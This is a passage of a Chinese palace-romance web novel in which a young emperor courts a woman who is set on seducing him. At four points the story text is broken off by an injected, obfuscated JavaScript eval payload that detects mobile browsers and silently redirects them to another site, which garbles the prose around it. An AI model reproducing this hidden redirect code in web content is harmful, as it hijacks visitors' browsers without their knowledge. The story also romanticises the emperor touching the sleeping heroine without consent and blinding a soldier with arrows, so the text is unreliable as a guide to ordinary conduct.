裴承珏一听,怔住了,他从未看过那些话本册子,读的都是帝王治国之道,但再怎么样,也是听说过男女之情的,那是一种很无用的东西。 十来岁时,他听宫人们碎嘴,偶尔听到了这个词,便问父皇何为男女之情。 父皇神情异样,好似尴尬地咳了一声,“都是些没用的东西,于治国无益,日后绝不可提,也绝不可沾染。” 父皇这般郑重教导,他自然铭记于心,从此再没问过,便是旁人来试图教导,他也将人赶走,这不是耽误他治国么? 这会儿一思索,身体里的一种本能慢慢觉醒,那是一种直白的汹涌而来的欲望。 他喜欢乔棠。 他见了乔棠心脏剧跳,过度欢喜…… 这种奇妙又近乎上瘾感觉只有乔棠能给他,而他只是见了乔棠几面而已。 裴承珏回味着,慢慢地笑了起来,想必姐姐和自己一样,也有这般感觉,语言上也就没了遮拦,“姐姐真如神仙一样,叫朕尝到了飘飘欲仙的滋味。” 乔棠几乎麻木地心想,你但凡换个对你有意的,眼下你们已在床上飘飘欲仙了。 忽听裴承珏道,“可,不够,远远不够……” 乔棠靠近他时,他近乎僵硬,可同时心底也催生出另一种感觉,叫嚣着要他靠近乔棠侵入乔棠。 乔棠一听就明白了,她并非没有尝过情爱,每一个人对心上人最本能的反应便是肢体接触。 裴承珏觉着不够是因为自己没有满足他的本能,只要自己和产生肢体接触,他就会尝到快乐。 且这种本能,近乎不用教,一旦觉醒,便无师自通。 裴承珏身侧的手指紧了紧,既然他这样想,姐姐也是一样的吧,他便是做了什么,姐姐也不会生气的。 裴承珏一步一步地靠近,乔棠心头一颤,知晓他这是反应过来。 纱帐被一只手抓住了。 乔棠微一思索,忙假装睡着了,并未出声。 夜明珠被放了起来,纱帐里很暗,不知为何,裴承珏终究没有选择掀起纱帐,只轻轻道,“姐姐睡吧。” 殿里脚步声远去。 乔棠心里惊讶他放弃了,又有些惋惜,她实则想得很清楚了,无论早晚,她都逃不掉被裴承珏要身子,与其磨蹭耽误时间,还不如趁早完成。 裴承珏慢慢踱到外间,心道,不急,日子很长,别吓着姐姐了。 于是一连几日,这事都没个进展,乔棠彻底明白,裴承珏要了感情还没完,他要一步步来,连吻都没吻过,怎么能直接这样做。 乔棠深觉这世界上最难搞的就是纯人,无论纯在哪一面,譬如裴承珏就纯在情上,他觉着不能乱来,得缓缓图之,情到浓时才顺理成章。 这么一想,乔棠意识到没个一年半载,她是走不了了,索性趁裴承珏去校场没回来,去御苑走了走,熟悉一下日后居住环境。 宫人领路,沿路看来,景致极好,她的心情终于好了点,慢慢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127418|180120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走到一栋二层阁楼前。 楼前立着几个宫人,见了她过来行礼,乔棠受之有愧,将身子侧过去。 乔棠知晓自己在宫中也无位分,宫中人如此是因为裴承珏看重她,觉着早晚都要给她位分,所以待她极为体面。 但乔棠知道自己终究是要走的,不想受这个礼,瞥见一楼敞开的窗里似有人影动,还有缕缕升起的香雾,便问,“何人在里面?” 宫人道,“是魏姑娘。” 乔棠听宫人细细说这个魏姑娘,原来是镇国公的幼女,太后娘娘的侄女,比裴承珏小两岁,这几日会待在宫中陪太后娘娘解闷。 乔棠眼睛一亮,提步往里面去,才走两步,里面也走出来一个娇俏姑娘,却是魏若湄,她先道,“乔姑娘可要进来?” 乔棠含笑点头,“魏姑娘不介意我打扰便好。” “乔姑娘言重了,便是看见乔姑娘过来,我才出来的。”魏若湄领着她在案前坐下,自己坐在对面,一双眸子大方地落在乔棠身上。 乔棠知晓她在看什么,扬起脸颊笑了一下,魏若湄呆了一呆,她穿着浅红衣衫,如枝头桃花般娇嫩,呆愣表情让她看起来娇憨可爱。 不知为何,见了她的容貌,乔棠心底生出一点熟悉感,但两人从未谋面过,兴许这就是眼缘吧。 乔棠这么想着,目光扫了一眼桌面,看见上面不仅有点茶工具,还有些调香工具,笑道,“魏姑娘在调什么香?” 魏若湄也笑起来,“随意调的,我也调不好,兄长教了我好几回了,再调不出来,他该嫌弃我笨了。” 看来是个话多的,怪不得能进宫陪太后,太后光听她说话也能解闷,至于她口中的兄长,乔棠忽地想起裴承珏提起的那个状元身世,“魏姑娘兄长便是去年的状元郎?” 魏若湄捧脸道,“是呢。” 想来极为喜欢这个刚找回来的兄长,便帮一帮她吧,乔棠道,“我见魏姑娘,心里喜欢得很,若魏姑娘不介意,我也会些调香,不妨帮魏姑娘调个试试?” “那谢谢乔姐姐。” 魏若湄欢喜,眸子发亮,心道怪不得陛下喜欢乔姐姐,乔姐姐生得这般美,笑容也柔柔的,一瞧就是个好性子的人。 等两人调好了,乔棠看着魏若湄如释重负地松了口气,“你兄长必定是哄你的,哪有嫌弃自己妹妹笨的,何况魏姑娘哪里笨了?” 魏若湄又心道,说话也好听。 这时门外传来宫人的声音,“乔姑娘,陛下从校场回来了,要见乔姑娘。” “那乔姐姐快去吧,别让陛下等久了。” 乔棠看着魏若湄提起裴承珏时有些害怕的表情,奇怪道,“魏姑娘害怕陛下?” 魏若湄皱巴着脸,“自然,陛下发脾气时很吓人。” 乔棠本想说陛下脾气还好,可想起在暖阁她听到的那声音,又将话咽了下去,也许裴承珏确然有吓人的那一面。 乔棠随宫人回了太极宫后殿,宫人在外间告知他,“陛下说等姑娘回来,让姑娘直接进去。” 乔棠颔首,绕过金漆雕龙屏风,进入里间,果然见到了裴承珏。 裴承珏立在镜前,因去了校场,里面穿了一件大红交领窄袖戎衣,外穿方领黄罩甲,有的手指在上面游走,显然是在为他解衣。 镜面光滑,一映出身后的乔棠,裴承珏倦怠的眼神焕发出了光亮,一手挥退了宫人,注视着镜中的乔棠。 “民女为陛下解衣吧。”乔棠走过去,转到裴承珏身前,扬起颈子贴近,伸出手指摸上了领部系带,手指灵活地解开,偶尔扫过线条流畅的下颌。 5. 第5章 两人不免呼吸纠缠。 罩甲被脱下了,裴承珏视线下垂,落在乔棠身上。 乔棠扬起的颈子拉出纤细弧度,白腻晃眼,颤动睫毛如薄薄蝶翼,丰润红唇抿紧又放开,泛出水泽,叫他喉结滚动,呼吸急促。 他猛地抬起视线,注视镜面。 可是— 镜面里也会有人。 烛火映照下,镜中背对着他的乔棠身子纤薄,倾身的弧度像要钻入他怀中,他不可抑制地有了反应。 乔棠的手到了衣服下摆,带着微温的触觉。 眼看就要伸到腿上,倏地被拉了上去,连带整个人都被拉得站直了。 她柔声喊,“怎么了,陛下?” 裴承珏嗓子里唔了一声,“无事。” 狼狈地后退两步,从桌面托盘上用两指勾出一件天青长袍披在身子,转过身去了,心里浮出焦躁,姐姐这样到底是有意还是无意?若是有意,是不是想和朕…… 乔棠以为他难为情了。 那只能慢慢来了,她走过去,牵住了那衣袖,握手用可以吧。 裴承珏低头,神色一动,探出手握住了乔棠的手。 少年人手掌很大,干干净净,包裹住了乔棠的手,乔棠心底慢慢生出一种异样。 而裴承珏感受着女子手掌的细腻温热触觉,只觉身体又升腾起一股火,烧得他心头都热起来了。 但并不难受,反而心脏欢快地跳跃,叫他忍不住想不要松,不要松…… 可乔棠还是松了。 裴承珏的快乐戛然而止,不由喃喃一声,“姐姐真是叫朕快乐,朕便快乐。” 乔棠阖眼,这么会说,倒是动一动。 正想着,松了的手又被裴承珏握去了,裴承珏道,“朕稍后回勤政殿。” 宽大手掌传来热度,乔棠心头压下的异样又浮了上来,她佯装感觉不到,点点头,任由裴承珏握着。 裴承珏也不觉握的时间长,但乔棠不行了,还是她先松开了,“陛下该去勤政殿了。” 裴承珏颔首,忽地拿手指摸了摸她的唇,一言不发,转身走了。 乔棠怔住,她想可能裴承珏内心还是想亲她,被他自己压制住了,若是她主动,裴承珏应不会拒绝了。 裴承珏回勤政殿也是看着自己的手掌发呆,便是坐在圈椅上,另一只手将书翻得作响,他也是在回味两手交握的感觉,只是牵手便这般快乐,那么吻上那唇…… 当天晚间,裴承珏又回来了,踏步进入寝室外间。 琉璃灯下,乔棠在案前立着,低眸凝视着研钵里还没碾好的粉末,忽地眼前过来一只手掌,将研钵拿了过去,“朕帮姐姐。” 另一只手伸过来要钵杵,乔棠没有给他,笑道,“陛下今晚不应读书?” 乔棠连连跟了他几日,已对他的习惯摸得很清,这会儿他应该在勤政殿读书。 裴承珏咳了一声,“要读的。姐姐喜欢调香?” 乔棠对调香谈不上什么喜欢不喜欢,只是碰到魏若湄了,想起自己也可以调个香打发时间,“我今日碰到魏家姑娘,陛下的表妹,生得好看,性子也可爱。” “魏若湄?吱吱喳喳的,见了她朕就头疼。” 看来裴承珏不喜欢他这个表妹,乔棠道,“魏姑娘话是多,可说得叫人喜欢,怎么到了陛下嘴里成了缺点?” “莫说她了。” 裴承珏声音一顿,低头闻了闻研钵里的粉末,眉峰一拢,“这不是女香。” 乔棠心里一咯噔,猛地对上裴承珏视线,却见裴承珏双眸发亮,唇边含笑,俨然一副赤诚模样看过来,“给朕调的?” 乔棠一哽,迟疑地点头,“也只胡乱调了一下,陛下若想要,我再重新调。” 说着要拿回研钵,裴承珏却是不给,“便是这个了,姐姐怎么会调这个?” “之前曾随人学过,陛下不是要读书?怎回来了?” 裴承珏掩饰似地放下研钵,“今晚在此读,先前朕也常在这里读。” 外间窗下设有长案,案上摆着笔墨纸砚,旁边书架摞着厚厚的书。 裴承珏牵起乔棠的手,两人到了圈椅前,裴承珏让乔棠坐下,也不松手,站着翻出一本书,一只手无法翻页,朝乔棠笑道,“姐姐替朕翻。” 这可怎么行? 乔棠索性站起来,挣脱开他的手,把他推回圈椅上,“陛下且好生读吧,我陪着。” 她出去命宫人搬了一把椅子过来,与裴承珏坐在一起,裴承珏见状失笑,“一到姐姐身边,朕可真是糊涂死了。” 他是真情流露,乔棠却听得心里一跳,只想捂住他这张嘴,可别说了。再说反倒是他来撩拨自己了。 正欲收手,裴承珏抬袖一把握住了,她的掌心便贴着裴承珏的薄唇。 薄唇动动,在掌心浸出水痕。 裴承珏眸底生出暗火。 薄唇便不停,掌心也不动。 不知过了多久,乔棠唰地起了身,匆匆奔到里间去。 裴承珏扬颈,喉结滚动间咽了口水,忽听门外一声通禀,“陛下,慈宁宫来人说太后想见陛下。” 承珏平复呼吸,到屏风前说了一声,“姐姐要朕去慈宁宫一趟。” 里面传来乔棠的声音,“陛下去吧。” 裴承珏出去了,乔棠立在里面,看着自己水淋淋的掌心,轻轻地呼了口气,这回竟是她先逃了,不应该呀。 她对自己很不满意,出去洗了手再回来,发现那画像的衣衫被扯开了,便叫宫人拿个纱帐,直接拢得严严实实,这才心满意足地去睡了。 裴承珏一路上心不在焉的,到了慈宁宫见到魏若湄,眉峰一折,嘴角下沉,魏若湄立马眼里含泪,躲到了太后身后。 太后无奈道,“陛下怎总吓她?” 裴承珏随意地坐下来,冲着魏若湄扯了扯嘴角,魏若湄当即提裙跑进去了,他这才对太后道,“朕不会娶她的,母后也别打这个主意了。” 太后恍然大悟,“陛下每次见她,便要吓她,便是为这。” 裴承珏道,“她这么害怕朕,也不会想嫁给朕的,朕有乔姑娘便好了。” 太后听了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127419|180120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不当一回事,少年人哪有个定性,嘴上这么说,哪天不喜欢了,随手就扔了,便也不泼他冷水,揶揄一声,“乔姑娘便这么得陛下喜欢?” “若是母后没有其他事,只让朕和她见一见,朕便走了。” 他起身便走,忽地身后传来魏若湄怯怯的声音,“陛下,臣女能到太极宫找乔姐姐么?” 裴承珏脸色又沉下来,“不准。” 甩下两个字,他便回太极宫了,此时乔棠已睡着了,她一向睡得很沉,浑然不知裴承珏回来,撩开纱帐,手指摸了摸自己的唇。 双唇柔软饱满的,指腹轻轻地摩挲着。 如何都不够。 裴承珏渐渐地又不满足了,力度一加,一声嘤咛从乔棠唇中溢出,带着灼热温度,烧得他缩回手,离了床边。 纱帐重新落下,他大步离去,命宫人备水。 乔棠一醒来便觉唇上有些疼,坐在镜子前一看,略略肿了些,正疑惑着,镜子里闪出来一道鬼鬼祟祟的红衣。 她回头一看,竟是魏若湄,魏若湄扑过来抱住她,“乔姐姐别出声,我害怕陛下知晓生气,他不准我过来找你。” 乔棠笑了一声,这不是两个幼稚鬼吗? 她扒开魏若湄的手,安抚她,“无事,我会和陛下提的,你就放心地在这里玩。” “乔姐姐真好。乔姐姐教我调香吧!” 乔棠正愁闷呢,来了一个解闷的,求之不得,一时也没去勤政殿陪裴承珏,只和魏若湄调了香。 午膳后,魏若湄回慈宁宫去了,勤政殿的宫人白着面色疾步奔过来,问太极宫的人,“陛下生气了,乔姑娘怎还不去勤政殿?” 乔棠听到,拿了调好的香去勤政殿,宫人先去通禀裴承珏,即便如此,乔棠到时,还是看到了阴着面容的裴承珏。 他的双眉本就锐利似刃,生气起来更是吓人,乔棠有一瞬想走,可当裴承珏看到她时,怒容转瞬消失,只笑起来,看着不过是个明朗挺俊的少年罢了。 乔棠心头哆嗦,看着裴承珏步步靠近,一把抓住了她的手,笑道,“姐姐上午做了什么?” “昨夜陛下要的那香,我觉着不够好,想重新调,再送给陛下,便喊了魏姑娘过来帮忙,” 她说着便进了暖阁,将香粉铺在银片上,再回身裴承珏已靠过来,她便伸出双手,抱住了裴承珏的腰身,脑袋搁在裴承珏身前,“陛下别生气了。” 裴承珏只觉耳边轰隆隆一阵响,脑中什么都没了,只有相贴过来的身体。 彼此交融的气息浮在鼻尖,慢慢地,熏炉里燃起了一股香气,乔棠收回手,退了一步,笑道,“好闻吗?” 裴承珏整个人都似柔软了几个度,轻轻地点点头,伸出一只手,“过来,朕再抱抱。” 乔棠却呀了一声,侧头指了指要通禀的宫人,宫人承受着裴承珏冰冷视线道,“陛下,该去校场了。” 这几日正在准备春猎,裴承珏去校场次数多了,眼看他在迟疑,乔棠催道,“陛下莫耽误了正事。” 裴承珏笑道,“乔姑娘一起去吧。” 6. 第6章 行同命令,乔棠不能拒绝。 乔棠心思一转,便是要去,也不能白去,裴承珏要去的校场是南苑,距离不远,且次次都是骑马去,若是裴承珏骑马带她,便可增加接触机会。 乔棠笑道,“陛下可能骑马带我去?” 得到裴承珏摇头,“不可,骑马颠簸,恐伤了姐姐,姐姐可坐车去。” 那双黑亮眸子定定地望过来,浅浅笑意不过是表面,眸底那片暗沉叫乔棠心底发凉。 她越发意识到了裴承珏贵为天子,是向来说一不二,独断专行的,便是再喜欢自己,也不许自己质疑甚至改变他的决定。 乔棠只有一个选择,笑着答应他。 一股寒意顿从心底生起,伴随着些许不满,种种交杂在一起,使乔棠一瞬失了判断,张口便问,“那陛下可能和我一起坐马车去?” 这话一出,不说裴承珏什么反应,她自己先乱了阵脚,暗骂自己怎敢和天子争这口气,日后多的是肢体接触的机会! 她几乎疾步过去,一手握住裴承珏的手掌,扬颈笑起来,她向来知晓自己的优势,秋水眸子盈盈含情,似羞似怯,“我只是想和陛下多待一会儿,再说陛下坐车,也可批些折子,对不对?” 裴承珏垂眸,半晌笑起来,握紧乔棠的手轻轻一叹,“真拿姐姐没办法,便依姐姐吧。” “那我先回太极宫换衣。” 乔棠回太极宫进了寝殿,方长长呼了口气,轻轻抚了抚胸口。 她换了一身轻便衣物,由宫人领着进了马车,阔大车厢里果真摆了一张小案,案上摆放书籍奏折。 裴承珏背靠车壁坐于案几边,一手握着朱砂笔,低眸扫过奏折内容,拢起的眉峰在看到她进来时慢慢舒展,抬起另一手臂,“坐过来。” 乔棠一怔。 人果然是记吃不记打的,适才快被吓破了胆,恨不得发誓再也不敢了,但看到天子愿意听从她的话,转瞬就忘了教训,只觉下次还敢。 乔棠微微一笑,握住伸过来的手坐过去,被裴承珏揽在怀里。 她将脑袋枕在裴承珏胸膛上,寻找一个舒服的姿势窝着,坏心眼地动了动脑袋,头发扫过裴承珏下巴,搔得裴承珏下巴痒,心里也痒。 裴承珏道,“别动。” 少年人再有两年便及冠了,嗓音不再清亮,沉沉地压过来,听得乔棠心惊,立马老实,心里琢磨着,等他批完折子该如何做,既已拥抱过了,也该做点别的了吧。 裴承珏的声音响起,“若无聊,可看看魏卿的文章。” 乔棠暗道两人都抱在一起了,他还想着什么文章,真真无聊,倒让她突地想起另一个人,也是这么无趣。 不过她也不能耽误裴承珏理政,伸手拿过来一份文章,目光扫了几遍,很快打起了哈欠。 奇怪,她怎么困了? 乔棠蓦地瞪大眼珠,暗骂那个死了的前夫,早死便罢了,还给她留了一顿坏习惯,这多看一会儿文章就困的习惯不就是那时候留下来的? 睡意袭来,她也不再多想,随手放下文章,动了动身子,脑袋枕在裴承珏膝上,阖上眸子,“陛下,我困了。” 裴承珏低头,入眼一片白皙,顿时别开视线,“睡吧。” 眉目间却攒着一股躁动之色,他放下朱砂笔,一手落在乔棠肩上,“姐姐?” 乔棠入睡很快,迷迷糊糊间似觉有手在胸前移动,她簇起眉尖,抬袖拍掉了。 裴承珏看着自己被拍掉的手掌,面上闪过愕然,还没有人敢这么拍他,新奇地看了一会儿,手掌再伸过去。 乔棠便没有什么反应了。 不知睡了多久,南苑到了,乔棠醒过来发现自己不在马车里了,正身处一间陌生房中。 “姐姐醒了。” 裴承珏迈步进来,换了一身华贵的黑金箭衣,碧玉带勾出劲瘦腰身,屈起手指抵在唇边咳了一声,“可有不舒服的地方?” 乔棠听得奇怪,她能有什么不舒服? 不过,腰身有些酸,这个不打紧,她来月信前一贯如此,只是,胸前隆起也泛着点疼,兴许睡在马车里压住了。 她便摇头,“并无,已到校场了?” 裴承珏点头,“姐姐是在此休息还是去茶厅?” 这两个地方,乔棠都不乐意,“我来此本是要看陛下射箭的,陛下带我去射圃吧!” “我想看陛下射箭。” 裴承珏闻言耳根一热,思索一下,命人寻来幕离为她戴上,“姐姐这样去。” 乔棠了然,任由薄纱罩住自己面容,随裴承珏出去了,一行人随在后面。 到了射圃,乔棠在观射台坐下,有两个宫人候在一边听命,身后两步远,立着一排盔甲士兵。 乔棠向下望去,眸子一亮。 阔大射场上均是年轻男子,统一着红装,个个冷目凝神,势如罗刹,绵延成火势。 而能压制住这片火的,唯有那身黑金箭衣。 裴承珏虽未及冠,威仪颇重,独居前列,在融融春光中回首望来,俊眉微挑,启唇无声地喊,“姐姐。” 乔棠猛地阖目,手指发紧,她不得不承认,裴承珏便不是天子,只容貌仪态看,去街上走一边,定能勾得许多姑娘春心大动。 忽地一道粘腻视线过来,幽暗不得光地觊觎着她,慢慢地抚上她的后背,叫她顿生恶心与惊惧,抿着唇角强撑。 这种视线已不是第一次遇到了,往日她走街上常常引来无数窥探,但远不及这道,近在身后,清晰又污秽。 她突地明白了这道视线从何而来,只是身后站着一排士兵,到底是哪一个? 乔棠心里冷笑,只待稍后收拾,先睁开眸子去看射场。 但见裴承珏左手攥紧弓背,右手将弓拉得如满月般,眼神亮得惊人,专注地盯着靶心,只听嗖得一声,箭矢离弦,飞驰而去,直中靶心。 乔棠忍不住拍手。 裴承珏九发九中,忽地转过身直面观射台,原本要勾起的唇角,在看到了什么后,慢慢下垂,一瞬变了气势,眸色透出一股狠劲。 乔棠本来惊讶他转身看自己,但霎时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127420|180120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 撞进那样狠戾目光中,心神猛颤,喉头一阵发紧,脑中只余一道恐慌喊声,他要干什么! 裴承珏已将最后一支箭搭上弓,眸子无情无绪地盯着观射台,毫不犹豫地松手。 长箭顺风而去,擦过乔棠耳边,引起的疾风撩开了幕离,露出一张白纸糊的惊惧面容。 与此同时,身后噗嗤一声,伴随着士兵凄厉叫喊,长箭戳破了他的眼睛,溅起一道血水。 这且不罢,另一支箭紧跟而来,直插士兵另一只眼,一时观射台上凄叫声连连。 众人手脚俱软,匍匐在地。 唯一坐着的乔棠耳边嗡嗡作响,唇瓣抖动,一时竟忘了身在何处,直到身下一阵热流涌出,一股怒意猛地蹿出。 天杀的裴承珏,把她的月信都吓出来了! 恐怕已染红了衣裙,她一时气得胸膛起伏,心底还残留惊恐,一时间浑身瘫软,一下倒在了赶过来的裴承珏怀里。 耳边传来裴承珏焦急喊声,“姐姐!姐姐!” 她脑袋一沉,晕了过去。 再醒来,乔棠身处在行宫寝室中,身上已换了干净衣衫,但浑身无力,又阖了双眸。 裴承珏见状,俯身凑过来低语,“姐姐,对不起,是朕吓到了姐姐。” 乔棠心道,你知道就好。 她睁开眼,柔柔道,“陛下也是好意,不想让别人眼睛污了我,我还要谢谢陛下呢。” 裴承珏暗沉眸色一亮,“姐姐知晓原因?” 乔棠嗯了一声,起先是不知晓,还以为裴承珏要射的是自己,直到箭过去,一瞬明了。 如今既恐裴承珏暴戾,独占到见不得旁人这样看她,又喜他为自己出气,矛盾之下,一时无言。 裴承珏在床边坐下,牵起她的手紧紧握着,“姐姐这么懂朕,朕不知怎么说好了,只求以后姐姐一直如此,不要怕了朕。” 乔棠浑身一麻,心底有些不自在,干嘛说得这么……柔情? 乔棠被自己这个想法一惊,又故作虚弱地闭眸,“陛下,我们不回宫了吗?” 裴承珏越凑越近,“姐姐身体不适,今夜便在此休息。” “那陛下明日早朝?” “明日休朝一日。” 乔棠吃惊,“是原定的还是临时?” 裴承珏道,“自然是原定的。” 乔棠一觉也对,她这个心上人位分还不够足,比不得国事,又觉这也是个机会,眼看就是落日了,趁此机会要裴承珏留下来同宿。 于是她反手勾住裴承珏的手指,泛白面色楚楚动人,“若陛下今夜不回,能陪我一夜吗?” 裴承珏薄唇一抿,慢慢地点了点头,又命人过来侍奉乔棠吃饭。 饭罢,乔棠收拾自己时才绝望发现,都来月信了,还算什么机会,她看了看自己的手,决定多洗几遍。 及至就寝,乔棠睡在床里面,外面空出裴承珏一人的位置。 很快裴承珏踏步进来,一身明黄寝衣,一手拉开纱帐时,俊容覆上一层浅粉,在灯下被乔棠看得清晰。 7. 第7章 裴承珏察觉,旋身去熄烛火,踏着月色上了床,放下纱帐,躺在乔棠身侧。 两人被拢在一方空间里。 裴承珏第一次同女人睡在一起,且还是心上人,起先身体紧绷,双手无处摆放。 待闻到帐内充盈着一丝丝气息,甜的香的交织在一起,水流一般淌入体内,浑身方放松下来。 “姐姐睡着了么?” “回陛下,我下午歇息过了,此刻不困。”乔棠侧过身,拿出藏起来的夜明珠,帐里骤然一亮。 裴承珏朗声一笑,“母后常说朕孩子心性,朕看姐姐也是,分明比朕大两岁,还玩这种珠子。” 沉沉笑声荡在帐中,乔棠终于有了和男人同睡的实质感觉。 自打和前夫和离,她并未再嫁,孤身一人生活,虽为撩拨裴承珏和裴承珏有了肢体接触,但距离真正的亲近还是很远。 眼下同宿一榻,她难免也有紧张,在亮光中看着裴承珏转过身,四目相对时,手指一抖,夜明珠滑落,掉入裴承珏掌心。 裴承珏视线扫过眼前让他砰砰心动的面容,停在一双泛着光泽的唇上。 他紧紧收拢掌心,光亮暗淡下来,一抹昏色在呼吸交缠中糜艳泛滥。 裴承珏阖眼又睁开,“姐姐,朕心悦你。” 声音带着庄重,带着欢喜。 乔棠的心一颤,她自然清楚这个事实,若非如此,两人也不会这般睡在一起,只是闻得这一声,她刚要伸出去的手难免迟疑了下来。 可下一刻,裴承珏的声音就带上了势在必得的自信,“朕知道,姐姐也喜欢朕,对不对?” 乔棠尚不知如何作答,腰身猛地擒来一只手掌,直将她拽入男人怀中。 她埋首在温热胸膛前,正好也省了作答,裴承珏便当她答了,使上双臂紧紧环住,似乎要将她嵌进骨血中。 可这样的怀抱远远不够,不够安抚体内汹涌的欲望,少年人本能地想索求更多。 乔棠呼吸不顺,费力挣扎开怀抱,心一横,扬起颈子,唇贴了上去。 随即薄唇强势侵入,搜刮一切,叫她难以抵挡,脑中一片空白,软成一滩水。 察觉不对时,她已昏昏沉沉,隆起一阵疼痛…… * 翌日醒来,眸子还没睁开,隆起又来一阵疼痛,索性阖上了眸子。 不知过了多久,裴承珏以为她还没醒,起身下床去了。 纱帐落下,她睁开眼,唇肿着,其余也疼着,唯独身下因来了月信免遭一劫。 她试图张唇,更疼了,算了,她闭口,躺了一会儿,拿手扯了扯纱帐。 纱帐当即打开,裴承珏已换好了衣服,目光灼灼地望过来,“姐姐再休息一会儿吧。” “谢谢陛下关心,我且还好,不若待我起来便回宫。” 此处不如宫中便捷,她又来了月信,虽昨夜收拾了,还是想回宫中歇着。 “那依姐姐的。” 及至收拾妥当,乔棠要上马车,裴承珏大步过来,当着别人的面,一把将她抱到马车里。 随即自己上来,转手又抱上了。 乔棠跨坐在腿间,脑袋枕在他肩膀上,无言地看着车壁。 裴承珏则低首批折子。 乔棠略微一动,后背就被拍了一下,“朕不想伤着姐姐,这样便好。” 乔棠咬牙,好什么好,咯得她疼。 一路坐回宫中,一路没有消停,乔棠咋舌,当真血气方刚。 目光瞥到裴承珏红了的耳根,逗弄他的心思也没了,只想回宫中再歇一歇。 一番折腾后,乔棠回了太极宫,好好地在柔软锦被中睡了一觉,下午屏退宫人,立在镜子前看了看,心底嘶了一声。 唇上倒还好,消得快些。 胸前惨不忍睹,她索性不看了,理好衣衫,闻得宫人脚步声,转过头去,“何事?” 宫人道,“姑娘原约了魏姑娘去漱玉阁,魏姑娘那边派人来说,魏姑娘已去了,姑娘眼下要去吗?” 乔棠这才想起还有这事,简单妆扮一番便去了漱玉阁。 魏若湄已在等了,见了她,欢喜地笑起来,“乔姐姐。” 乔棠摸了摸她的脑袋,坐下来发现桌前备了一道点茶用具,笑道,“我们若湄想的周全,已把东西准备好了。” 前两日,她说要跟着魏若湄学点茶,魏若湄当即放在心上了,可见是个热心善良的姑娘。 碰上这样的姑娘,乔棠从不吝啬夸奖。 魏若湄脸蛋红红的,乔姐姐夸人总这般直白,可这也是她喜欢乔姐姐的原因。 一想到这里,她拿起茶具,“我教姐姐点茶。” 乔棠看着她一连串行云流水的动作,一贯跳脱的性格也端庄起来,不由拍手,“这还是我头次见到这般完美的手法。” 魏若湄这次自信点头,“乔姐姐不知,点茶这一道,京中这么多姑娘都不如我呢!” 乔棠笑了,“你于茶道上已是技艺娴熟了,还要再学调香,当真是勤谨好学。” “乔姐姐说笑了,我是因为兄长。” 她苦恼地托腮道,“兄长回来也一年了,总冷冰冰的,话很少,虽说家中知晓他便是这个性子,可心里面,还是希望他能和家人多说说话。” “我也没别的方法,见兄长精于调香,便找这个由头寻他说话,还真找对方法了。” “不过调得不好,挨了训,也得不来几句话。”说到这里哼了一声,“这次我带着姐姐教我调的香回去给他看,保证吓他一跳。” 还真是孩子脾气,乔棠笑了笑,不过,她脑子里慢慢浮出个人影,也就有了主意,“你想亲近你兄长也是人之常情,我这里有个法子能让你兄长与你多说几句。” “不过呢,我也有好一阵没出宫了。”她狡黠地眨了眨眼,魏若湄定定地看了会儿,了悟地啊了一声,“几日后有个赏花宴,姐姐要去吗?” “哪里?” 魏若湄咯咯地笑,“我家。” 乔棠讶然,这姑娘为了让自己出宫,捯饬出了个赏花宴,也算是为了她煞费苦心了。 她遂道,“你兄长这种人,需得缠他磨他,日日对着他说好喜欢兄长,日子一长,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127421|180120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也就注意到你这个妹妹了。” 魏若湄脸色猛地红了,眸子瞪得圆圆的,“这是能直接说的吗?” “如何不能?有些人蹬鼻子上脸,说了反倒长了他的志气,但有些人,诸如你兄长这种,就要直白地缠,再者像你这般可爱的妹妹,他定会喜欢你的。” 魏若湄陷入美好幻想中,浑身都散发着成功后的喜悦,“乔姐姐懂得好多。” “哪里,我若懂得多,也不会向你学习茶道了,不过是遇到过类似的人罢了。” 魏若湄也没深究这个,只欢喜得了主意,忽地又不安道,“陛下可知道我去过太极宫了?” 